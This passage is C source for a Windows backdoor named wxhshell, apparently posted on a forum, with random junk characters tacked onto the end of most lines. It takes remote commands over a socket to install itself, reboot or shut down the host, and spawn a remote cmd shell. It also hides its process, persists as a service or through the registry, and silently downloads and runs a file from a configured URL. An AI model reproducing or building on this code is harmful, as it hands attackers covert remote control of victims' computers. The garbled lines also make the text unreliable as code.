  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *w OU=1+  
  } xS+!/pBf"Y  
  else { =fcM2O#$  
v vzPt.ag  
    switch(cmd[0]) { ^:u-wr8?{  
  bamQ]>0|>!  
  // 帮助 _zK ~9/5  
  case '?': { Mc9JFzp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1'YUK"i  
    break; =1+/`w  
  } E;rS"'D:  
  // 安装 `V2doV)  
  case 'i': { HJ+ Q7)  
    if(Install()) v83@J~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Eyq4w  
    else ~$jRn(2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V.-cm51I  
    break; :Xs3Vh,V  
    } w'6sJ#ba(  
  // 卸载 MS`XhFPS.  
  case 'r': { 0t(2^*I?>  
    if(Uninstall()) I|<`Er-;58  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nil nS!BM  
    else \gFV6 H?`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3jx/1VV  
    break; HJ_8 `( '  
    } ?3y>K!D(A  
  // 显示 wxhshell 所在路径 "9X1T]  
  case 'p': { f7b6!R;z_  
    char svExeFile[MAX_PATH]; :X}fXgeL  
    strcpy(svExeFile,"\n\r"); qH4+i STnV  
      strcat(svExeFile,ExeFile); t"nxny9&  
        send(wsh,svExeFile,strlen(svExeFile),0); mEg3.|  
    break; O>eg_K,c  
    } jct'B}@X(  
  // 重启 J -z <&9  
  case 'b': { }z F,dst  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #Q"04'g  
    if(Boot(REBOOT)) ( TJGJY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Cs/B*3)b  
    else { g=$nNQ \6=  
    closesocket(wsh); (tCBbPW6T?  
    ExitThread(0); zSagsH |W  
    } 2 b80b50  
    break; %)w7t[A2D  
    } AAF']z<4_"  
  // 关机 ](^FGz  
  case 'd': { CT/>x3o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >VppM  `  
    if(Boot(SHUTDOWN)) quS]26wQz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c-**~tb(  
    else { G2&,R{L6w  
    closesocket(wsh); D `av9I  
    ExitThread(0); L;=3n[^x  
    } >avkiT2  
    break; X]_9g[V  
    } Gi\Z"MiBZ  
  // 获取shell SB`xr!~A]  
  case 's': { Y,?kS dS  
    CmdShell(wsh); _:>t$* _  
    closesocket(wsh); n-{.7  
    ExitThread(0); ?u5jX J0L  
    break; u%5 ,U-  
  } \A6 }=  
  // 退出 _ BoA&Ism  
  case 'x': { ]:}7-;$V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iD<}r?Z  
    CloseIt(wsh); %@8#+#@J0  
    break; p }e| E!  
    } 1'H!S%fS  
  // 离开 QT=i>X  
  case 'q': { qIxe)+.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .O SQ8W }  
    closesocket(wsh); o$#q/L  
    WSACleanup(); t$b5,"G1  
    exit(1); b3ys"Vyn  
    break; Z>~7|vl  
        } :1;"{=Yx}  
  } p!EG:B4  
  } Z= =c3~  
y Z)-=H  
  // 提示信息 p^w_-( p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2Vs+8/  
} o1k+dJUd  
  } .hjN*4RY  
K1w:JA6(  
  return;  `)>}b 3  
} U,lO{J[T  
[<sN "  
// shell模块句柄 B%5"B} nG  
int CmdShell(SOCKET sock) `~D{]'j  
{ 2Z?l,M~  
STARTUPINFO si; $&Z<4:Flc  
ZeroMemory(&si,sizeof(si)); $wbIe"|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y,K> Wb9e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gYloY=.Z$'  
PROCESS_INFORMATION ProcessInfo; gX| \O']6  
char cmdline[]="cmd"; >vXS6`;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [ ~kS)  
  return 0; 6Ilj7m*  
} q{+}0!o  
L\R(//V  
// 自身启动模式 4>/i,_&K K  
int StartFromService(void) lYey7tl{  
{ DPCQqV|7  
typedef struct iba8G]2  
{ z /nW; ow  
  DWORD ExitStatus; rxj#  
  DWORD PebBaseAddress; `XM0Mm%  
  DWORD AffinityMask; cYBjsN(!A|  
  DWORD BasePriority; 6!8uZ>u%Vg  
  ULONG UniqueProcessId; )@<HG$#  
  ULONG InheritedFromUniqueProcessId; |{RCvm  
}   PROCESS_BASIC_INFORMATION; 0Hx'C^m72  
T-]UAN"O  
PROCNTQSIP NtQueryInformationProcess; cM\BEh h  
`6BQ6)7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e7tio!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9i D&y)$"  
yZ]?-7  
  HANDLE             hProcess; &*oljGt8  
  PROCESS_BASIC_INFORMATION pbi; xe9\5Gb}  
2`> (LH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w ~^{V4V  
  if(NULL == hInst ) return 0; or bz`IQc  
JSx[V<7m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7PwH&rI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ocz21gl-?`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /O`R9+;  
7K+eI!m.s  
  if (!NtQueryInformationProcess) return 0; m>?|*a,  
N`qGwNT%G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 16Jjf|]j  
  if(!hProcess) return 0; D_G]WW8  
gZ-:4G|J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0.c9 6&  
Sy<io@df  
  CloseHandle(hProcess); rbs&A{i  
uo*lW2&U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?j)#\s2  
if(hProcess==NULL) return 0; ?A~=.u@[d  
kWs:7jiiu  
HMODULE hMod; iRqLLMrn  
char procName[255]; cVYu(ssC4  
unsigned long cbNeeded; SR`A]EC(V  
6q7jI )l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s@Loax6@B  
/iJsa&W}  
  CloseHandle(hProcess); ad52a3deR  
OL^DuoB4q  
if(strstr(procName,"services")) return 1; // 以服务启动 c8HETs1  
wUfPnAD.'  
  return 0; // 注册表启动 _Y$v=!fY&  
} <p+7,aE_  
RWoVN$i>  
// 主模块 R/ x-$VJ  
int StartWxhshell(LPSTR lpCmdLine) i8DYC=r  
{ uax kGEXr  
  SOCKET wsl; j 20m Z  
BOOL val=TRUE; ) q/brCq  
  int port=0; xK4E+^ b  
  struct sockaddr_in door; |CK/-UG}  
k^K%."INn  
  if(wscfg.ws_autoins) Install(); uKB V`I  
: qV|rih_Q  
port=atoi(lpCmdLine); >S S^qjh/  
A0Q1"b=  
if(port<=0) port=wscfg.ws_port; J7~Kjl  
- s2Yhf  
  WSADATA data; Q5IN1 ^=HF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QUF1_Sa  
" Lh XR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AJ6O>Euq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l1%*LyD  
  door.sin_family = AF_INET; ZmI#-[/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QkLcs6)R  
  door.sin_port = htons(port); NH1ak(zHW  
y5Fgf3P@ju  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LmUR@ /V Q  
closesocket(wsl); ,S~A]uH'  
return 1; A5O;C  
} jO`L:D/C  
vkW;qt}yO  
  if(listen(wsl,2) == INVALID_SOCKET) { 'C;KNc  
closesocket(wsl); r4iT 9 D  
return 1; &yqk96z  
} nE :Wl  
  Wxhshell(wsl); =,08D^xY  
  WSACleanup(); Tc|+:Usy  
%;J$ h^  
return 0; N ]GF>kf:  
cCIs~*D  
} +!G)N~o  
MW=rX>tE  
// 以NT服务方式启动 tMo=q7ig  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k\ZU%"^J  
{ $]?M[sL\N7  
DWORD   status = 0; W=2]!%3#  
  DWORD   specificError = 0xfffffff; ;)sC{ "Jb  
5 L-6@@/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zCu+Oi6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eEeK ] 8@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gV'=u z v  
  serviceStatus.dwWin32ExitCode     = 0; 7'@~TM  
  serviceStatus.dwServiceSpecificExitCode = 0; wB<cW>6  
  serviceStatus.dwCheckPoint       = 0; {P%\& \{F  
  serviceStatus.dwWaitHint       = 0; ("=24R=a  
Cio (Ptt:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t,kai6UM  
  if (hServiceStatusHandle==0) return; :;Npk9P(N  
nrM-\'  
status = GetLastError(); 'ztY>KVj  
  if (status!=NO_ERROR) yPH5/5;,  
{ }q?q)cG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !{ORFd  
    serviceStatus.dwCheckPoint       = 0; Ihl]"76q/  
    serviceStatus.dwWaitHint       = 0; w" A{R  
    serviceStatus.dwWin32ExitCode     = status; @^HZTuP2;  
    serviceStatus.dwServiceSpecificExitCode = specificError; Tb] h<S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /8P7L'Rb  
    return; msw=x0{n5  
  } X"T)X#:)  
qf%p#+:B3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VZ2CWE)t  
  serviceStatus.dwCheckPoint       = 0; / 6DW+!  
  serviceStatus.dwWaitHint       = 0; %y)LBSxf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n5*m x7  
} B5]nP .R  
$- GwNG  
// 处理NT服务事件,比如:启动、停止 mf2Qu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cn'r BY  
{ XZ/cREz^s  
switch(fdwControl) ^5-SL?E  
{ /)r[}C0   
case SERVICE_CONTROL_STOP: Pa ^_ s  
  serviceStatus.dwWin32ExitCode = 0; Gk|T1%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #jw%0H;l]  
  serviceStatus.dwCheckPoint   = 0; quFNPdP  
  serviceStatus.dwWaitHint     = 0; q]y{ 4"=5  
  { :/;;|lGw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MhN 8'y(  
  } ?6:e%YT  
  return; jf& oN]sZ  
case SERVICE_CONTROL_PAUSE: m .^WSy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @EH@_EwYV  
  break; 85+w\KuEY  
case SERVICE_CONTROL_CONTINUE: ,6wGdaMR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vGp`P  
  break; PxJvE*6^H  
case SERVICE_CONTROL_INTERROGATE: .y#>mXm>  
  break; SFRYX,0m  
}; kX:8sbZ##4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,go$ 6  
} VQpwHzh  
;GZ'Rb  
// 标准应用程序主函数 @DyMq3Gt?&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g<i>252>  
{ [ _&z+  
Ia>~ph#]{`  
// 获取操作系统版本 H`T}k+e2-N  
OsIsNt=GetOsVer(); JiiYl&#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qn` \g  
TZ PUVOtL_  
  // 从命令行安装 WhDNt+uk)  
  if(strpbrk(lpCmdLine,"iI")) Install(); uHyc7^X>  
6H|&HV(!R  
  // 下载执行文件 _(KzjOMt  
if(wscfg.ws_downexe) { J8DKia|h(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) smuQ1.b  
  WinExec(wscfg.ws_filenam,SW_HIDE); byJ[1UK  
} ,h.hgyt  
IVG77+O# }  
if(!OsIsNt) { /ASpAl[J  
// 如果时win9x,隐藏进程并且设置为注册表启动 A*? Qm  
HideProc();  Kuh)3/7  
StartWxhshell(lpCmdLine); p[D,.0SuC  
} l/bZE.GJ  
else K)9f\1\  
  if(StartFromService()) V_T~5%9Fy  
  // 以服务方式启动 qWI8 >my11  
  StartServiceCtrlDispatcher(DispatchTable); <J!?eH9f  
else 4I;$a;R!  
  // 普通方式启动 7T=:dv  
  StartWxhshell(lpCmdLine); g|)yM^Vqr6  
?;p45y~n%  
return 0; s%)>O{{)  
}
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只看该作者 1 发表于: 2006-10-10
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